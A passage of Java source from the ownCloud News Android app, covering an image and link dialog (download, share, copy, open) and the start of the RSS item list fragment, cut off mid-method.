dialogText, URL imageUrl) {\n        NewsDetailImageDialogFragment f = new NewsDetailImageDialogFragment();\n\n        if(titleIcon == null) {\n            titleIcon = android.R.drawable.ic_menu_info_details;\n        }\n\n        Bundle args = new Bundle();\n        args.putSerializable(\"dialogType\", TYPE.IMAGE);\n        args.putInt(\"titleIcon\", titleIcon);\n        args.putString(\"title\", dialogTitle);\n        args.putString(\"text\", dialogText);\n        args.putSerializable(\"imageUrl\", imageUrl);\n        f.setArguments(args);\n        return f;\n    }\n\n    protected static NewsDetailImageDialogFragment newInstanceUrl(String dialogTitle, String dialogText) {\n        NewsDetailImageDialogFragment f = new NewsDetailImageDialogFragment();\n\n        Bundle args = new Bundle();\n        args.putSerializable(\"dialogType\", TYPE.URL);\n        args.putInt(\"titleIcon\", android.R.drawable.ic_menu_info_details);\n        args.putString(\"title\", dialogTitle);\n        args.putString(\"text\", dialogText);\n        f.setArguments(args);\n        return f;\n    }\n\n    @Override\n    public void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        final Bundle args = requireArguments();\n        mDialogIcon = args.getInt(\"titleIcon\");\n        mDialogTitle = args.getString(\"title\");\n        mDialogText = args.getString(\"text\");\n        mImageUrl = (URL) args.getSerializable(\"imageUrl\");\n        mDialogType = (TYPE) args.getSerializable(\"dialogType\");\n\n        mMenuItems = new LinkedHashMap<>();\n\n        //Build the menu\n        switch(mDialogType) {\n            case IMAGE:\n                if(mImageUrl.toString().startsWith(\"http\")) { //Only allow download for http[s] images (prevent download of cached images)\n                    mMenuItems.put(getString(R.string.action_img_download), new MenuActionLongClick() {\n                        @Override\n                        public void execute() {\n                            if (haveStoragePermission()) {\n                                downloadImage(mImageUrl);\n                            }\n                        }\n\n                        public void executeLongClick() {\n                            changeDownloadDir();\n                        }\n                    });\n                    mMenuItems.put(getString(R.string.action_img_open), () -> openLinkInBrowser(mImageUrl));\n                    mMenuItems.put(getString(R.string.action_img_sharelink), this::shareImage);\n                    mMenuItems.put(getString(R.string.action_img_copylink), () -> copyToClipboard(mDialogTitle, mImageUrl.toString()));\n                } else if (mImageUrl.toString().startsWith(\"file:///\")) {\n                    mMenuItems.put(getString(R.string.action_img_download), new MenuActionLongClick() {\n                        @Override\n                        public void execute() {\n                            if (haveStoragePermission()) {\n                                storeCachedImage(mImageUrl.getPath());\n                            }\n                        }\n\n                        public void executeLongClick() {\n                            changeDownloadDir();\n                        }\n                    });\n                } else {\n                    mDialogTitle = \"Unknown Type\";\n                    mDialogText = \"The URL type of image url: \\\"\" + mImageUrl.toString() + \"\\\" is unknown, please report this issue.\";\n                }\n                break;\n            case URL:\n                mMenuItems.put(getString(R.string.action_link_open), () -> {\n                    try {\n                        openLinkInBrowser(new URL(mDialogText));\n                    } catch (MalformedURLException e) {\n                        Toast.makeText(getActivity(), getString(R.string.error_invalid_url), Toast.LENGTH_SHORT).show();\n                        e.printStackTrace();\n                    }\n                });\n                mMenuItems.put(getString(R.string.action_link_share), this::shareLink);\n                mMenuItems.put(getString(R.string.action_link_copy), () -> copyToClipboard(mDialogTitle, mDialogText));\n                break;\n        }\n\n        setStyle(DialogFragment.STYLE_NO_TITLE, R.style.FloatingDialog);\n    }\n\n    @Override\n    public void onStart() {\n        showDownloadShowcase();\n        super.onStart();\n    }\n\n    private void showDownloadShowcase() {\n        final Context context = requireContext();\n        if(mMenuItems.containsKey(context.getString(R.string.action_img_download))) {\n            List<String> menuItemsList = new ArrayList<>(mMenuItems.keySet());\n            int position = menuItemsList.indexOf(context.getString(R.string.action_img_download));\n            Log.v(TAG, \"Position of Download Menu: \" + position);\n            /*\n            // Bug in the Library.. ShowcaseView is rendered behind the DialogFragment //TODO check https://github.com/deano2390/MaterialShowcaseView/issues/51 for updates\n            new MaterialShowcaseView.Builder(getActivity())\n                    .setTarget(mListView /*.getChildAt(position) *//*)\n                    .setDismissText(\"GOT IT\")\n                    .setContentText(\"Long press to change the target download directory\")\n                    .setDelay(300) // optional but starting animations immediately in onCreate can make them choppy\n                    .singleUse(\"LONG_PRESS_DOWNLOAD_TARGET_DIR\") // provide a unique ID used to ensure it is only shown once\n                    .show();\n            */\n        }\n    }\n\n    @Override\n    public View onCreateView(LayoutInflater inflater, ViewGroup container,\n                             Bundle savedInstanceState) {\n\n        View v = inflater.inflate(R.layout.fragment_dialog_image, container, false);\n\n        TextView tvTitle   = v.findViewById(R.id.ic_menu_title);\n        TextView tvText    = v.findViewById(R.id.ic_menu_item_text);\n        ImageView imgTitle = v.findViewById(R.id.ic_menu_gallery);\n\n        tvTitle.setText(mDialogTitle);\n        tvText.setText(mDialogText);\n        imgTitle.setImageResource(mDialogIcon);\n\n        if(mDialogType == TYPE.IMAGE) {\n            registerImageDownloadReceiver();\n            if(mDialogText.equals(mDialogTitle) || mDialogText.equals(\"\")) {\n                tvText.setVisibility(View.GONE);\n            }\n        }\n\n        ListView mListView = v.findViewById(R.id.ic_menu_item_list);\n        List<String> menuItemsList = new ArrayList<>(mMenuItems.keySet());\n\n        final ArrayAdapter<String> arrayAdapter = new ArrayAdapter<>(\n                getActivity(),\n                R.layout.fragment_dialog_listviewitem,\n                menuItemsList);\n\n        mListView.setAdapter(arrayAdapter);\n        mListView.setLongClickable(true);\n\n        mListView.setOnItemClickListener(new AdapterView.OnItemClickListener() {\n            @Override\n            public void onItemClick(AdapterView<?> adapterView, View view, int i, long l) {\n                String key = arrayAdapter.getItem(i);\n                MenuAction mAction = mMenuItems.get(key);\n                mAction.execute();\n            }\n        });\n\n        mListView.setOnItemLongClickListener(new AdapterView.OnItemLongClickListener() {\n            @Override\n            public boolean onItemLongClick(AdapterView<?> adapterView, View view, int position, long id) {\n                String key = arrayAdapter.getItem(position);\n                try {\n                    MenuActionLongClick mAction = (MenuActionLongClick) mMenuItems.get(key);\n                    mAction.executeLongClick();\n                } catch (ClassCastException e) {\n                    return false;\n                }\n                return true;\n            }\n        });\n\n        return v;\n    }\n\n    @Override\n    public void onDestroyView() {\n        unregisterImageDownloadReceiver();\n        super.onDestroyView();\n    }\n\n\n    private void copyToClipboard(String label, String text) {\n        ClipboardManager clipboard = (ClipboardManager) requireContext().getSystemService(Activity.CLIPBOARD_SERVICE);\n        ClipData clip = ClipData.newPlainText(label, text);\n        clipboard.setPrimaryClip(clip);\n        Toast.makeText(getActivity(), getString(R.string.toast_copied_to_clipboard), Toast.LENGTH_SHORT).show();\n        dismiss();\n    }\n\n    private void shareImage() {\n        Intent sharingIntent = new Intent(Intent.ACTION_SEND);\n        sharingIntent.setType(\"text/plain\");\n        sharingIntent.putExtra(Intent.EXTRA_SUBJECT, mDialogText);\n        sharingIntent.putExtra(Intent.EXTRA_TEXT, mImageUrl.toString());\n        startActivity(Intent.createChooser(sharingIntent, getString(R.string.intent_title_share)));\n        dismiss();\n    }\n\n    private void shareLink() {\n        Intent sharingIntent = new Intent(Intent.ACTION_SEND);\n        sharingIntent.setType(\"text/plain\");\n        sharingIntent.putExtra(Intent.EXTRA_SUBJECT, mDialogTitle);\n        sharingIntent.putExtra(Intent.EXTRA_TEXT, mDialogText);\n        startActivity(Intent.createChooser(sharingIntent, getString(R.string.intent_title_share)));\n        dismiss();\n    }\n\n\n    private void openLinkInBrowser(URL url) {\n        Intent i = new Intent(Intent.ACTION_VIEW);\n        i.setData(Uri.parse(url.toString()));\n        startActivity(i);\n        dismiss();\n    }\n\n    public static String getMimeTypeOfUri(String path) throws IOException {\n        BitmapFactory.Options opt = new BitmapFactory.Options();\n        /* The doc says that if inJustDecodeBounds set to true, the decoder\n         * will return null (no bitmap), but the out... fields will still be\n         * set, allowing the caller to query the bitmap without having to\n         * allocate the memory for its pixels. */\n        opt.inJustDecodeBounds = true;\n\n        InputStream inStream = new FileInputStream(path);\n        BitmapFactory.decodeStream(inStream, null, opt);\n        inStream.close();\n\n        return opt.outMimeType;\n    }\n\n    private void downloadImage(URL url) {\n        Toast.makeText(requireContext().getApplicationContext(), getString(R.string.toast_img_download_wait), Toast.LENGTH_SHORT).show();\n\n        if (isExternalStorageWritable()) {\n            String filename = getFileNameFromPath(url.getFile(), true);\n\n            downloadManager = (DownloadManager) requireContext().getSystemService(Context.DOWNLOAD_SERVICE);\n            DownloadManager.Request request = new DownloadManager.Request(Uri.parse(url.toString()));\n            request.setDestinationUri(getDownloadDir(filename));\n            request.setTitle(getString(R.string.app_name) + \" - \" + getString(R.string.action_img_download));\n            request.setDescription(filename);\n            request.setVisibleInDownloadsUi(true);\n            //request.setAllowedNetworkTypes(DownloadManager.Request.NETWORK_WIFI | DownloadManager.Request.NETWORK_MOBILE);\n            //request.setAllowedOverRoaming(false);\n            //request.setVisibleInDownloadsUi(false);\n            //request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_HIDDEN);\n            downloadID = downloadManager.enqueue(request);\n            requireDialog().hide();\n        } else {\n            Toast.makeText(requireContext().getApplicationContext(), getString(R.string.toast_img_notwriteable), Toast.LENGTH_LONG).show();\n            dismiss();\n        }\n    }\n\n    private void storeCachedImage(String path) {\n        if(isExternalStorageWritable()) {\n            String filename = getFileNameFromPath(path, false);\n\n            File dstPath = new File(getDownloadDir(filename).getPath());\n            try {\n                NewsFileUtils.copyFile(new FileInputStream(path), new FileOutputStream(dstPath));\n            } catch (IOException e) {\n                Toast.makeText(requireContext().getApplicationContext(), e.getMessage(), Toast.LENGTH_LONG).show();\n            }\n\n            NextcloudNotificationManager.showNotificationDownloadSingleImageComplete(requireContext().getApplicationContext(), dstPath);\n            requireDialog().hide();\n        } else {\n            Toast.makeText(requireContext().getApplicationContext(), getString(R.string.toast_img_notwriteable), Toast.LENGTH_LONG).show();\n            dismiss();\n        }\n    }\n\n    private String getFileNameFromPath(String path, boolean web) {\n        String filename = path.substring(path.lastIndexOf('/') + 1);\n        if (!(filename.endsWith(\".jpg\") || filename.endsWith(\".png\") || filename.endsWith(\".webp\"))) {\n            try {\n                String fileExtension = \"\";\n\n                if (web) {\n                    fileExtension = MimeTypeMap.getFileExtensionFromUrl(path);\n                } else {\n                    fileExtension = getMimeTypeOfUri(path).replace(\"image/\", \"\");\n                }\n\n                if (!fileExtension.isEmpty()) {\n                    filename += \".\" + fileExtension;\n                }\n            } catch (Exception ex) {\n                Log.e(TAG, \"Failed to extract file extension from url: \" + ex.getMessage());\n            }\n        }\n        return filename;\n    }\n\n    public boolean haveStoragePermission() {\n        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {\n            if (checkSelfPermission(requireContext(), Manifest.permission.WRITE_EXTERNAL_STORAGE) == PermissionChecker.PERMISSION_GRANTED) {\n                Log.v(\"Permission error\", \"You have permission\");\n                return true;\n            } else {\n                Log.e(\"Permission error\", \"Asking for permission\");\n                ActivityCompat.requestPermissions(requireActivity(), new String[]{Manifest.permission.WRITE_EXTERNAL_STORAGE}, 1);\n                return false;\n            }\n        }\n        else { //you dont need to worry about these stuff below api level 23\n            Log.e(\"Permission error\",\"You already have the permission\");\n            return true;\n        }\n    }\n\n\n    private void changeDownloadDir() {\n        final Intent chooserIntent = new Intent(getActivity(), DirectoryChooserActivity.class);\n        final DirectoryChooserConfig config = DirectoryChooserConfig.builder()\n                .initialDirectory(requireActivity().getPreferences(Context.MODE_PRIVATE).getString(\"manualImageDownloadLocation\", \"\"))\n                .newDirectoryName(\"new folder\")\n                .allowNewDirectoryNameModification(true)\n                .allowReadOnlyDirectory(false)\n                .build();\n\n        chooserIntent.putExtra(DirectoryChooserActivity.EXTRA_CONFIG, config);\n        startActivityForResult(chooserIntent, REQUEST_DIRECTORY);\n    }\n\n    private void setNewDownloadDir(String path) {\n        if(path.equals(\"\")) {\n            path = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS).toString();\n        }\n        SharedPreferences sharedPref = requireActivity().getPreferences(Context.MODE_PRIVATE);\n        SharedPreferences.Editor editor = sharedPref.edit();\n        editor.putString(\"manualImageDownloadLocation\", path);\n        editor.commit();\n    }\n\n    private Uri getDownloadDir(String filename) {\n        SharedPreferences sharedPref = requireActivity().getPreferences(Context.MODE_PRIVATE);\n        String dir = sharedPref.getString(\"manualImageDownloadLocation\", \"\");\n        if(dir.equals(\"\")) { //sharedPref has never been set\n            setNewDownloadDir(\"\"); //set to default public download dir\n            return getDownloadDir(filename);\n        }\n        String tmp = \"file://\" +dir +\"/\" +filename;\n        return Uri.parse(tmp);\n    }\n\n\n    public void onActivityResult(int requestCode, int resultCode, Intent data) {\n        super.onActivityResult(requestCode, resultCode, data);\n\n        if (requestCode == REQUEST_DIRECTORY) {\n            if (resultCode == DirectoryChooserActivity.RESULT_CODE_DIR_SELECTED) {\n                String dir = data.getStringExtra(DirectoryChooserActivity.RESULT_SELECTED_DIR);\n                setNewDownloadDir(dir);\n            }\n        }\n    }\n\n    private void unregisterImageDownloadReceiver() {\n        if (downloadCompleteReceiver != null) {\n            requireActivity().unregisterReceiver(downloadCompleteReceiver);\n            downloadCompleteReceiver = null;\n        }\n    }\n\n    private void registerImageDownloadReceiver() {\n        if(downloadCompleteReceiver != null) return;\n\n        downloadCompleteReceiver = new BroadcastReceiver() {\n            @Override\n            public void onReceive(Context context, Intent intent) {\n                long refID = intent.getLongExtra(DownloadManager.EXTRA_DOWNLOAD_ID, -1);\n                if (downloadID == refID) {\n                    DownloadManager.Query query = new DownloadManager.Query();\n                    query.setFilterById(refID);\n                    Cursor cursor = downloadManager.query(query);\n                    cursor.moveToFirst();\n                    int columnIndex = cursor.getColumnIndex(DownloadManager.COLUMN_STATUS);\n                    int status = cursor.getInt(columnIndex);\n                    int columnReason = cursor.getColumnIndex(DownloadManager.COLUMN_REASON);\n                    int reason = cursor.getInt(columnReason);\n\n                    switch (status) {\n                        case DownloadManager.STATUS_SUCCESSFUL:\n                            Toast.makeText(requireContext().getApplicationContext(), getString(R.string.toast_img_saved), Toast.LENGTH_LONG).show();\n\n                            //String imagePath = downloadManager.getUriForDownloadedFile(refID).toString();\n\n                            String downloadFileLocalUri = cursor.getString(cursor.getColumnIndexOrThrow(DownloadManager.COLUMN_LOCAL_URI));\n                            File image = new File(Uri.parse(downloadFileLocalUri).getPath());\n\n                            NextcloudNotificationManager.showNotificationDownloadSingleImageComplete(context, image);\n\n                            if(isVisible()) {\n                                dismiss();\n                            }\n                            break;\n                        case DownloadManager.STATUS_FAILED:\n                            Toast.makeText(requireContext().getApplicationContext(), getString(R.string.error_download_failed) + \": \" + reason, Toast.LENGTH_LONG).show();\n                            if(isVisible()) {\n                                dismiss();\n                            }\n                            break;\n                        default:\n                            Log.e(TAG, \"this should never happen! - unknown download status\");\n                    }\n                }\n            }\n        };\n        IntentFilter intentFilter = new IntentFilter(DownloadManager.ACTION_DOWNLOAD_COMPLETE);\n        ContextCompat.registerReceiver(requireActivity(), downloadCompleteReceiver, intentFilter, ContextCompat.RECEIVER_NOT_EXPORTED);\n    }\n\n    public boolean isExternalStorageWritable() {\n        String state = Environment.getExternalStorageState();\n        return Environment.MEDIA_MOUNTED.equals(state);\n    }\n\n\n    interface MenuAction {\n        void execute();\n    }\n    interface MenuActionLongClick extends MenuAction {\n        void executeLongClick();\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/NewsReaderApplication.java",
    "content": "package de.luhmer.owncloudnewsreader;\n\nimport android.app.Application;\n\nimport de.luhmer.owncloudnewsreader.di.ApiModule;\nimport de.luhmer.owncloudnewsreader.di.AppComponent;\nimport de.luhmer.owncloudnewsreader.di.DaggerAppComponent;\nimport de.luhmer.owncloudnewsreader.helper.ForegroundListener;\n\npublic class NewsReaderApplication extends Application {\n\n    protected AppComponent mAppComponent;\n\n    @Override\n    public void onCreate() {\n        super.onCreate();\n\n        registerActivityLifecycleCallbacks(new ForegroundListener());\n\n        initDaggerAppComponent();\n\n        // AdBlocker.init(this);\n    }\n\n    public void initDaggerAppComponent() {\n        // Dagger%COMPONENT_NAME%\n\n        mAppComponent = DaggerAppComponent.builder()\n                .apiModule(new ApiModule(this))\n                .build();\n\n        // If a Dagger 2 component does not have any constructor arguments for any of its modules,\n        // then we can use .create() as a shortcut instead:\n        //mAppComponent = DaggerAppComponent.create();\n    }\n\n    public AppComponent getAppComponent() {\n        return mAppComponent;\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/NewsReaderDetailFragment.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader;\n\nimport static java.util.Objects.requireNonNull;\nimport static de.luhmer.owncloudnewsreader.ListView.SubscriptionExpandableListAdapter.SPECIAL_FOLDERS.ALL_DOWNLOADED_PODCASTS;\nimport static de.luhmer.owncloudnewsreader.ListView.SubscriptionExpandableListAdapter.SPECIAL_FOLDERS.ALL_STARRED_ITEMS;\nimport static de.luhmer.owncloudnewsreader.ListView.SubscriptionExpandableListAdapter.SPECIAL_FOLDERS.ALL_UNREAD_ITEMS;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.SP_SWIPE_LEFT_ACTION;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.SP_SWIPE_LEFT_ACTION_DEFAULT;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.SP_SWIPE_RIGHT_ACTION;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.SP_SWIPE_RIGHT_ACTION_DEFAULT;\n\nimport android.content.Context;\nimport android.content.Intent;\nimport android.content.SharedPreferences;\nimport android.content.res.TypedArray;\nimport android.graphics.Canvas;\nimport android.graphics.Rect;\nimport android.graphics.drawable.Animatable;\nimport android.graphics.drawable.Drawable;\nimport android.net.Uri;\nimport android.os.AsyncTask;\nimport android.os.Bundle;\nimport android.os.Handler;\nimport android.os.Parcelable;\nimport android.util.AttributeSet;\nimport android.util.Log;\nimport android.view.GestureDetector;\nimport android.view.LayoutInflater;\nimport android.view.MotionEvent;\nimport android.view.View;\nimport android.view.ViewGroup;\nimport android.view.animation.Animation;\nimport android.view.animation.AnimationUtils;\nimport android.widget.ImageView;\nimport android.widget.Toast;\n\nimport androidx.annotation.NonNull;\nimport androidx.fragment.app.Fragment;\nimport androidx.recyclerview.widget.DefaultItemAnimator;\nimport androidx.recyclerview.widget.ItemTouchHelper;\nimport androidx.recyclerview.widget.LinearLayoutManager;\nimport androidx.recyclerview.widget.RecyclerView;\nimport androidx.swiperefreshlayout.widget.SwipeRefreshLayout;\n\nimport com.google.android.material.floatingactionbutton.FloatingActionButton;\nimport com.google.android.material.snackbar.BaseTransientBottomBar;\nimport com.google.android.material.snackbar.Snackbar;\n\nimport java.util.List;\nimport java.util.stream.Collectors;\n\nimport javax.inject.Inject;\n\nimport de.luhmer.owncloudnewsreader.adapter.NewsListRecyclerAdapter;\nimport de.luhmer.owncloudnewsreader.adapter.RssItemViewHolder;\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm.SORT_DIRECTION;\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\nimport de.luhmer.owncloudnewsreader.database.model.RssItemDao;\nimport de.luhmer.owncloudnewsreader.databinding.FragmentNewsreaderDetailBinding;\nimport de.luhmer.owncloudnewsreader.helper.AsyncTaskHelper;\nimport de.luhmer.owncloudnewsreader.helper.DatabaseUtilsKt;\nimport de.luhmer.owncloudnewsreader.helper.PostDelayHandler;\nimport de.luhmer.owncloudnewsreader.helper.Search;\nimport de.luhmer.owncloudnewsreader.helper.StopWatch;\nimport io.reactivex.rxjava3.observers.DisposableObserver;\nimport io.reactivex.rxjava3.subjects.PublishSubject;\n\n/**\n * A fragment representing a single NewsReader detail screen. This fragment is\n * either contained in a {@link NewsReaderListActivity} in two-pane mode (on\n * tablets) or a {@link NewsReaderListActivity} on handsets.\n */\npublic class NewsReaderDetailFragment extends Fragment {\n\n    private static final String LAYOUT_MANAGER_STATE = \"LAYOUT_MANAGER_STATE\";\n\n    protected final String TAG = getClass().getCanonicalName();\n\n    FragmentNewsreaderDetailBinding binding;\n\n    private Long idFeed;\n    private Drawable leftSwipeDrawable;\n    private Drawable rightSwipeDrawable;\n    private String prevLeftAction = \"\";\n    private String prevRightAction = \"\";\n    private Parcelable layoutManagerSavedState;\n\n    // Variables related to mark as read when scrolling\n    private boolean mMarkAsReadWhileScrollingEnabled;\n    private boolean mSyncWhenScrolledToBottomEnabled;\n    private int previousFirstVisibleItem = -1;\n\n    private Long idFolder;\n    private String title;\n    private int onResumeCount = 0;\n    private RecyclerView.OnItemTouchListener itemTouchListener;\n\n    protected @Inject SharedPreferences mPrefs;\n    protected @Inject PostDelayHandler mPostDelayHandler;\n\n    public PublishSubject<Boolean> syncTrigger = PublishSubject.create();\n\n    private PodcastFragmentActivity mActivity;\n\n    /**\n     * Mandatory empty constructor for the fragment manager to instantiate the\n     * fragment (e.g. upon screen orientation changes).\n     */\n    public NewsReaderDetailFragment() {\n    }\n\n    @Override\n    public void onAttach(@NonNull Context context) {\n        super.onAttach(context);\n        this.mActivity = (PodcastFragmentActivity) context;\n    }\n\n    @Override\n    public void onDetach() {\n        this.mActivity = null;\n        super.onDetach();\n    }\n\n    protected DisposableObserver<List<RssItem>> searchResultObserver = new DisposableObserver<List<RssItem>>() {\n        @Override\n        public void onNext(@NonNull List<RssItem> rssItems) {\n            loadRssItemsIntoView(rssItems);\n        }\n\n        @Override\n        public void onError(Throwable e) {\n            binding.pbLoading.setVisibility(View.GONE);\n            Toast.makeText(mActivity, e.getLocalizedMessage(), Toast.LENGTH_LONG).show();\n        }\n\n        @Override\n        public void onComplete() {\n            Log.v(TAG, \"Search Completed!\");\n        }\n    };\n\n\n    public static SORT_DIRECTION getSortDirection(SharedPreferences prefs) {\n        return DatabaseUtilsKt.getSortDirectionFromSettings(prefs);\n    }\n\n    /**\n     * @return the idFeed\n     */\n    public Long getIdFeed() {\n        return idFeed;\n    }\n\n    /**\n     * @return the idFolder\n     */\n    public Long getIdFolder() {\n        return idFolder;\n    }\n\n    /**\n     * @return the titel\n     */\n    public String getTitle() {\n        return title;\n    }\n\n    protected void setTitle(String title) {\n        this.title = title;\n        requireNonNull(mActivity.getSupportActionBar()).setTitle(title);\n    }\n\n    protected void setData(Long idFeed, Long idFolder, String title, boolean updateListView) {\n        Log.v(TAG, \"Creating new instance\");\n\n        this.idFeed = idFeed;\n        this.idFolder = idFolder;\n        setTitle(title);\n\n        if (updateListView) {\n            updateCurrentRssView();\n        } else {\n            refreshCurrentRssView();\n        }\n    }\n\n    @Override\n    public void onResume() {\n        Log.v(TAG, \"onResume called!\");\n\n        mMarkAsReadWhileScrollingEnabled = mPrefs.getBoolean(SettingsActivity.CB_MARK_AS_READ_WHILE_SCROLLING_STRING, false);\n        mSyncWhenScrolledToBottomEnabled = mPrefs.getBoolean(SettingsActivity.CB_SYNC_WHEN_SCROLLED_TO_BOTTOM_STRING, false);\n        this.initFastDoneAll(this.requireView());\n\n        //When the fragment is instantiated by the xml file, onResume will be called twice\n        if (onResumeCount >= 2) {\n            refreshCurrentRssView();\n        }\n        onResumeCount++;\n\n        updateSwipeDrawables(false);\n\n        super.onResume();\n    }\n\n    protected void updateMenuItemsState() {\n        NewsReaderListActivity nla = (NewsReaderListActivity) mActivity;\n        if(nla != null && nla.getMenuItemDownloadMoreItems() != null) {\n            nla.getMenuItemDownloadMoreItems().setEnabled(idFolder == null || idFolder != ALL_UNREAD_ITEMS.getValue());\n        }\n    }\n\n    protected void notifyDataSetChangedOnAdapter() {\n        NewsListRecyclerAdapter nca = (NewsListRecyclerAdapter) binding.list.getAdapter();\n        if (nca != null) {\n            nca.notifyDataSetChanged();\n        }\n    }\n\n    /**\n     * Refreshes the current RSS-View\n     */\n    protected void refreshCurrentRssView() {\n        Log.v(TAG, \"refreshCurrentRssView\");\n        NewsListRecyclerAdapter nra = ((NewsListRecyclerAdapter) binding.list.getAdapter());\n\n        if (nra != null) {\n            nra.refreshAdapterDataAsync(() -> {\n                binding.pbLoading.setVisibility(View.GONE);\n\n                if (layoutManagerSavedState != null) {\n                    requireNonNull(binding.list.getLayoutManager()).onRestoreInstanceState(layoutManagerSavedState);\n                    layoutManagerSavedState = null;\n                }\n            });\n        }\n    }\n\n    /**\n     * Init fast action for mark all as read shown as floating action bar button (fab)\n     *\n     * @param rootView root view of fragment\n     */\n    protected void initFastDoneAll(View rootView) {\n        FloatingActionButton fab_done_all = binding.fabDoneAll;\n        if (mPrefs.getBoolean(SettingsActivity.CB_SHOW_FAST_ACTIONS, true)) {\n            fab_done_all.setVisibility(View.VISIBLE);\n            fab_done_all.setOnTouchListener(new FastMarkReadMotionListener(rootView));\n        } else {\n            fab_done_all.setVisibility(View.GONE);\n        }\n    }\n\n    /**\n     * Updates the current RSS-View\n     */\n    public void updateCurrentRssView() {\n        Log.v(TAG, \"updateCurrentRssView\");\n        AsyncTaskHelper.StartAsyncTask(new UpdateCurrentRssViewTask());\n    }\n\n    public RecyclerView getRecyclerView() {\n        return binding.list;\n    }\n\n    public LinearLayoutManager getLayoutManager() {\n        return (LinearLayoutManager) binding.list.getLayoutManager();\n    }\n\n    protected List<RssItem> performSearch(String searchString) {\n        Handler mainHandler = new Handler(mActivity.getMainLooper());\n\n        Runnable myRunnable = () -> {\n            binding.pbLoading.setVisibility(View.VISIBLE);\n            binding.tvNoItemsAvailable.getRoot().setVisibility(View.GONE);\n        };\n        mainHandler.post(myRunnable);\n\n        return Search.PerformSearch(mActivity, idFolder, idFeed, searchString, mPrefs);\n    }\n\n    void loadRssItemsIntoView(List<RssItem> rssItems) {\n        previousFirstVisibleItem = -1;\n        try {\n            NewsListRecyclerAdapter nra = ((NewsListRecyclerAdapter) binding.list.getAdapter());\n            if (nra == null) {\n                nra = new NewsListRecyclerAdapter(mActivity, binding.list, mActivity, mPostDelayHandler, mPrefs);\n                binding.list.setAdapter(nra);\n            }\n            nra.updateAdapterData(rssItems);\n\n            binding.pbLoading.setVisibility(View.GONE);\n            if (nra.getItemCount() <= 0) {\n                binding.tvNoItemsAvailable.getRoot().setVisibility(View.VISIBLE);\n            } else {\n                binding.tvNoItemsAvailable.getRoot().setVisibility(View.GONE);\n            }\n\n            binding.list.scrollToPosition(0);\n\n        } catch (Exception ex) {\n            ex.printStackTrace();\n        }\n    }\n\n    @Override\n    public View onCreateView(@NonNull LayoutInflater inflater, ViewGroup container,\n                             Bundle savedInstanceState) {\n        binding = FragmentNewsreaderDetailBinding.inflate(inflater, container, false);\n\n        binding.list.setHasFixedSize(true);\n        binding.list.setLayoutManager(new LazyLoadingLinearLayoutManager(mActivity, RecyclerView.VERTICAL, false));\n        binding.list.setItemAnimator(new DefaultItemAnimator());\n\n        ItemTouchHelper itemTouchHelper = new ItemTouchHelper(new NewsReaderItemTouchHelperCallback());\n        itemTouchHelper.attachToRecyclerView(binding.list);\n        //recyclerView.addItemDecoration(new DividerItemDecoration(mActivity)); // Enable divider line\n\n        /*\n        recyclerView.setOnTouchListener(new View.OnTouchListener() {\n            @Override\n            public boolean onTouch(View v, MotionEvent event) {\n                ((NewsReaderListActivity) mActivity).clearSearchViewFocus();\n                return false;\n            }\n        });\n        */\n\n        binding.swipeRefresh.setOnRefreshListener((SwipeRefreshLayout.OnRefreshListener) mActivity);\n\n        binding.list.addOnScrollListener(new RecyclerView.OnScrollListener() {\n            @Override\n            public void onScrolled(@NonNull RecyclerView recyclerView, int dx, int dy) {\n                if (dy > 0) { // check for scroll down\n                    Log.v(TAG, \"Scroll Delta y: \" + dy);\n\n                    LinearLayoutManager linearLayoutManager = (LinearLayoutManager) binding.list.getLayoutManager();\n                    NewsListRecyclerAdapter adapter = (NewsListRecyclerAdapter) binding.list.getAdapter();\n\n                    if (linearLayoutManager != null && adapter != null) {\n                        int firstVisibleItem = linearLayoutManager.findFirstVisibleItemPosition();\n                        int lastVisibleItem = linearLayoutManager.findLastVisibleItemPosition();\n                        int visibleItemCount = lastVisibleItem - firstVisibleItem;\n                        int totalItemCount = adapter.getItemCount();\n                        boolean reachedBottom = (lastVisibleItem == (totalItemCount - 1));\n\n                        if (mMarkAsReadWhileScrollingEnabled) {\n                            handleMarkAsReadScrollEvent(firstVisibleItem, lastVisibleItem, visibleItemCount, reachedBottom, adapter);\n                        }\n\n                        // trigger sync (to automatically reload) once we reach the end/bottom\n                        int lastCompletelyVisibleItem = linearLayoutManager.findLastCompletelyVisibleItemPosition();\n                        boolean reachedBottomFully = (lastCompletelyVisibleItem == (totalItemCount - 1));\n                        if (mSyncWhenScrolledToBottomEnabled && reachedBottomFully) {\n                            Log.d(TAG, \"Reached end of list - trigger sync\");\n                            syncTrigger.onNext(true);\n                        }\n                    }\n                }\n            }\n        });\n\n        itemTouchListener = new RecyclerView.OnItemTouchListener() {\n            final GestureDetector detector = new GestureDetector(mActivity, new RecyclerViewOnGestureListener());\n\n            @Override\n            public boolean onInterceptTouchEvent(@NonNull RecyclerView rv, @NonNull MotionEvent e) {\n                detector.onTouchEvent(e);\n                return false;\n            }\n\n            @Override\n            public void onTouchEvent(@NonNull RecyclerView rv, @NonNull MotionEvent e) {\n            }\n\n            @Override\n            public void 